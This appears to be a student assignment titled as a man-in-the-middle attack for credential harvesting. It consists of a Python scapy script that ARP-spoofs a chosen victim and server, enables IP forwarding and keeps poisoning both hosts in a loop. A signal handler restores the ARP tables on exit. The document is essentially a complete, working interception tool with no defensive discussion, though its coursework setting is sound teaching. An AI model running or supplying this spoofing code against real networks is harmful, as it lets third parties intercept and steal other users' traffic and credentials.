**Assignment Number 9**

Python with Kali Linux

**Name :** Niranjan Vinod Patil.

**Roll No:** SCETBTB305

**Title: Man-in-the-Middle attack on Network for credential Harvesting**

**Code:**

from scapy.all import \*

conf.verb = 0

import sys

import os

import time

import signal

#Function to fetch MAC address given a IP address

def getMAC(ip):

try:

val = arping(ip)

return val[0][0][1].src

except:

return 0

#Accepting IP Addresses

serverIP=raw\_input("Enter the destination mac add: ")

victimIP=raw\_input("Enter the source ip add: ")

#Fetching MAC address of Victim and Server from IP

serverMAC = getMAC(serverIP)

if not (serverMAC):

sys.exit("Server Machine not Found...")

victimMAC = getMAC(victimIP)

if not (victimMAC):

sys.exit("Victim Machine not Found...")

#print victimMAC

#print serverMAC

#Enabling IP Forwarding of Attacker Machine

os.system("echo 1 > /proc/sys/net/ipv4/ip\_forward")

#Handling Signal of Ctrl+c

def signal\_handler(signal, frame):

os.system("echo 0 > /proc/sys/net/ipv4/ip\_forward")

#Release the ARP spoofed Server Machine

send(ARP(op=2, pdst=serverIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)

#Release the ARP spoofed Victim Machine

send(ARP(op=2, pdst=victimIP, psrc=serverIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=serverMAC), count=3)

print "Good Bye..See You Later..."

sys.exit(0)

signal.signal(signal.SIGINT, signal\_handler)

while 1:

#ARP for Victim with spoofed Server MAC

send(ARP(op=2, pdst=victimIP, psrc=serverIP, hwdst=victimMAC))

#ARP for Server with spoofed Victim MAC

send(ARP(op=2, pdst=serverIP, psrc=victimIP, hwdst=serverMAC))

print ("Spoofed "+victimIP+" and "+serverIP+".")

time.sleep(1)